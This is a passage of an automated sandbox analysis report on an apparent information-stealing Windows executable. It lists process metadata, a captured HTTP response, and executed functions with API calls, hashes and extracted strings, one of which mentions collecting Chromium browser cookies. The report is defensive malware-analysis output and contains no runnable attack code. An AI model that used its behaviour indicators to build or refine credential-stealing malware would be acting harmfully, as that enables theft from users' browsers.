2f 61 8d 05 ca eb a4 5a d9 74 c5 fa 40 59 91 31 9d 37 ca 89 e1 de 52 cc 66 95 79 6f 57 c4 37 fd 56 a5 87 e2 39 0f ae f1 5b 00 76 2e 8a 10 bb a0 19 4d 03 34 23 9e Data Ascii: E?@}36?>u%AnP\|#;fY~rlN#kR{N~8W?kmzvi4I;g dl:[5MK1FI1<ZOt=Lng@/aZt@Y17RfyoW7V9[v.M4#
2024-04-25 11:33:07 UTC	802	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 11:33:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=50ln59vv6c451jqb0b7o3uieh8; expires=Mon, 19-Aug-2024 05:19:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3duRWCU1K66bvLCxSUAGdFj%2FyLLjNe4mBk8WvYerPkrpTK607epM1H5VYDJPyrobxPZrj9JDnjCw5x7Qi1h3pSrcr4bt%2B1sf7KaTYCTpkPdheQDonSCUqwiIiKDxlTyjIR72GXwkBY2p"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879e042b1beb1375-ATL alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	13:32:56
Start date:	25/04/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xcd0000
File size:	5'745'152 bytes
MD5 hash:	C91F9C9FFA73CD9D586D34F73BEEE0CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.5%
Total number of Nodes:	712
Total number of Limit Nodes:	19

Executed Functions

Function 00CECAEC Relevance: 16.9, APIs: 2, Strings: 7, Instructions: 1109COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00CED77D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 00CED7A8

Strings

[info] collected cookies file of the chromium-based browser, xrefs: 00CECCFF
onqp, xrefs: 00CECB78
onqp, xrefs: 00CED2B8
-^, xrefs: 00CED6B7
AV, xrefs: 00CED6AF
SE, xrefs: 00CED6A7
X&, xrefs: 00CED6BF

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: -^$AV$SE$X&$[info] collected cookies file of the chromium-based browser$onqp$onqp
API String ID: 237503144-3553015444
Opcode ID: 33461e156dd3e16648e7e83a0eb3ff3000259e1ad85178ab11535c479804a5c6
Instruction ID: 6e410ab04c3bb863d1ba04adda30ddea4812590f67b32a895365beafdadc8a9e
Opcode Fuzzy Hash: 33461e156dd3e16648e7e83a0eb3ff3000259e1ad85178ab11535c479804a5c6
Instruction Fuzzy Hash: D582A975608381DFD314CF19D89076BB7E2FB89314F198A2CE4999B390DB78D906CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00CF3943 Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 643
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 00CF451D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00CF4618

Strings

Z8J*, xrefs: 00CF4A1B
+u7, xrefs: 00CF4AE1

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: ComputerName
String ID: +u7$Z8J*
API String ID: 3545744682-3577212644
Opcode ID: a562e759c0e3e368f165c1339b525536c1eb753a988221e9dbe7646fb0ced48a
Instruction ID: e557af7c5d1ff8619ffc644897978f0f1b38957b4f8e531ed5fcd020126afd3d
Opcode Fuzzy Hash: a562e759c0e3e368f165c1339b525536c1eb753a988221e9dbe7646fb0ced48a
Instruction Fuzzy Hash: B7327E70544B468BD72ACB34C464BF3BBE1AF16308F48496CD1FB8B682D779A506CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00CF4084 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 676
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 00CF451D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00CF4618

Strings

P6D/, xrefs: 00CF451F

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: ComputerName
String ID: P6D/
API String ID: 3545744682-4117495492
Opcode ID: 354c0106a4d25122a520fb8c801666b29956aea5a5d72824cd3402ff0690efcb
Instruction ID: 13e3136bcf18f387666edce3a4e9d0567e9ad632580a33dc59fe4791a354fe88
Opcode Fuzzy Hash: 354c0106a4d25122a520fb8c801666b29956aea5a5d72824cd3402ff0690efcb
Instruction Fuzzy Hash: 84328E70504B868AD72ACF34C494BF3BBE1AF16309F48496CD1FB8B282D7796546CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00CF4087 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 650
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 00CF451D

Strings

P6D/, xrefs: 00CF451F

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: ComputerName
String ID: P6D/
API String ID: 3545744682-4117495492
Opcode ID: a973bb2a27a6c09080fd5f882e4d0b343c78e37b18e8b7502f125b8b41609dcd
Instruction ID: 3663b7f4e7b1aded392c67e286d2701a83b3a06db829356b6ea8f659a2f7290b
Opcode Fuzzy Hash: a973bb2a27a6c09080fd5f882e4d0b343c78e37b18e8b7502f125b8b41609dcd
Instruction Fuzzy Hash: 2D327E70504B468AD729CF34C8A4BF3BBE1AF16309F48496CD1FB8B282D7796546CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00CD4740 Relevance: 5.5, Strings: 4, Instructions: 501
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

IHDR, xrefs: 00CD4B89
IEND, xrefs: 00CD4C7E
), xrefs: 00CD47ED
IDAT, xrefs: 00CD4C05

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: 432f27838c2221ad48b6b5f99144d1c50eeec208672fe7cd41ec19289971b245
Instruction ID: f8a3b3978aa336d57bb40fcef2c6a311442847c8eae388d788c0cfdb9e08f868
Opcode Fuzzy Hash: 432f27838c2221ad48b6b5f99144d1c50eeec208672fe7cd41ec19289971b245
Instruction Fuzzy Hash: CB120171A083848FD708CF29DC9076A7BE1EF85314F05852EEB958B392D779D909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00CE5999 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 209COMMON

Download Yara Rule

Strings

x, xrefs: 00CE59DA

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: x
API String ID: 0-2363233923
Opcode ID: 75bb1baf44d269148fd6dee706543cad705d0b580efebbddfb85e2ff2389bac0
Instruction ID: a5f6dc173e0164c680119e3c4a8e5b3a7aa56f2500c6f79d66e76ebeb0855abb
Opcode Fuzzy Hash: 75bb1baf44d269148fd6dee706543cad705d0b580efebbddfb85e2ff2389bac0
Instruction Fuzzy Hash: 8371A4B15087818FD324CF15C49176BBBE1AFD5308F588A2DE5DA87382D635D90ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 00CEC540 Relevance: 1.6, Strings: 1, Instructions: 365COMMON

Download Yara Rule

Strings

onqp, xrefs: 00CEC866

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: edcc8e633ed7c12b41e444cf35945a75fa8ade519c1f5a96ce22b15d163deb64
Instruction ID: b00344684a0b2204947a13a150be97945940f58d7c9585676c2682a7f7158811
Opcode Fuzzy Hash: edcc8e633ed7c12b41e444cf35945a75fa8ade519c1f5a96ce22b15d163deb64
Instruction Fuzzy Hash: DAA102B15043418BDB24DF15C8A1B6BB3F5FF91714F19491CE8A68B391E334EA16CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00D03CC0 Relevance: 1.5, APIs: 1, Instructions: 16libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00D08D36,005C003F,00000006,00120089,?,00000018,82818087,00000000,00CE4B5A), ref: 00D03CED

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction ID: f65fe3a5b60e5d3733474b4962cbff60dd92034f6aca3bb1e52e6538901e1fc9
Opcode Fuzzy Hash: 8bfd55fa9a3783dde79afca9779d4b7cf76278c514d5c7b39b661a11ebe4b8a8
Instruction Fuzzy Hash: 36E0B675508212EFEA05DF45C14061EF7E6BFC4B14F55C88DE88873204C7B4AD45DA52

Uniqueness

Uniqueness Score: -1.00%

Function 00CE37C9 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

E&eb, xrefs: 00CE3787

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: E&eb
API String ID: 0-175690455
Opcode ID: 199449d1e260cc746fff3af5b00313affdd534bf9bcbdda333d2416edb5c6059
Instruction ID: ede347143b412031cb706c53c7ae6bef58734e760a45c23513f63fa45a031561
Opcode Fuzzy Hash: 199449d1e260cc746fff3af5b00313affdd534bf9bcbdda333d2416edb5c6059
Instruction Fuzzy Hash: 7B31B1B2600B818BC725DF76C885A67B3E2EF89310F18896DD0AAC7751E735F9428740

Uniqueness

Uniqueness Score: -1.00%

Function 00CE4C49 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

onqp, xrefs: 00CE4CBE

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: e063445abfb55a633e1e646786d3aaad270a08a658c65ba58cf8cf77b962cefa
Instruction ID: 631371bee423bfb92f4c28a6ef3fd1688048dbb211e64243d6dad20fd76bf71a
Opcode Fuzzy Hash: e063445abfb55a633e1e646786d3aaad270a08a658c65ba58cf8cf77b962cefa
Instruction Fuzzy Hash: 1821BF742183819FD32CCF05C8A07AFB7E2EFC6708F54581CE5928B381CBB599428B96

Uniqueness

Uniqueness Score: -1.00%

Function 00CF04B7 Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 445708c4425e7fbe0e82e000bf8776f78de902c4ab3728a653e76f40feb93781
Instruction ID: 9792daa894c821c3352719ee80c4679cdc08d7c2d1ebe24bda617e2eb5d284c6
Opcode Fuzzy Hash: 445708c4425e7fbe0e82e000bf8776f78de902c4ab3728a653e76f40feb93781
Instruction Fuzzy Hash: D3E177B4500B058FE3248F25C894B67B7E5FB49704F14892CD5A687BA2EB35F916CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00CF0CA0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b700de49b4de166f54597e8d52469cdfce65e9b3d56e2f5b1e8bb220b178004e
Instruction ID: 8072247a4f8b4b8bed8b356507bca7043932d7e2f5752e821cddf84c0af95f9b
Opcode Fuzzy Hash: b700de49b4de166f54597e8d52469cdfce65e9b3d56e2f5b1e8bb220b178004e
Instruction Fuzzy Hash: B3C1F0B1A083458BD354CF18C89072BB7E2EB94724F288A2DFAD587382D775D945CB93

Uniqueness

Uniqueness Score: -1.00%

Function 00D02010 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c18637f3c995bb1487a6f614b46710b5d803b1c49cef33c5b9826c057238b56
Instruction ID: 027645b0e93cc2c1de396247a604ef52301659d11cb2ccbc4acf156a63c50dd5
Opcode Fuzzy Hash: 6c18637f3c995bb1487a6f614b46710b5d803b1c49cef33c5b9826c057238b56
Instruction Fuzzy Hash: C6A17D706007019FE728CF29C894B27B7E5FB49704F14891CE5AA8BB91DB75F905CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D03D10 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9e78d02ffb2c2bec516e5604ec463c75621d586c5a71974063530a57d46fefae
Instruction ID: 5d334286bacd57039785e69f9108c1226d898937ccff8c63a86acae80bcfbdae
Opcode Fuzzy Hash: 9e78d02ffb2c2bec516e5604ec463c75621d586c5a71974063530a57d46fefae
Instruction Fuzzy Hash: D8819C70A083029BE314CF18C494B2BBBE5FFC5758F28891CE4895B392D775DA45CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00CF2458 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5713106688e3166a26b18d427aa6031de51e12290ecdc156417a6a2ea846646e
Instruction ID: 68af78a21b4ce6492accf7eec85546cdefba82cef68bb7542c06a6925f35bc71
Opcode Fuzzy Hash: 5713106688e3166a26b18d427aa6031de51e12290ecdc156417a6a2ea846646e
Instruction Fuzzy Hash: 71516874200B118BC724CF28C861B62B3F1FF46318F148A4CD9968B7A1DB75B955CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00CE42F0 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81605b9ac1517a00ce4dea56618948cf99ff8f590b7bb2f04c29f3f4015aebb6
Instruction ID: c482e7bc4c7de09e896a984e834fb3acc67c2defb81a5fab598ae03a5af86586
Opcode Fuzzy Hash: 81605b9ac1517a00ce4dea56618948cf99ff8f590b7bb2f04c29f3f4015aebb6
Instruction Fuzzy Hash: 18417AB59083988BC324EF66D8C077AF7E8EFA5314F094228E8A987391E771DD05C352

Uniqueness

Uniqueness Score: -1.00%

Function 00D057CA Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
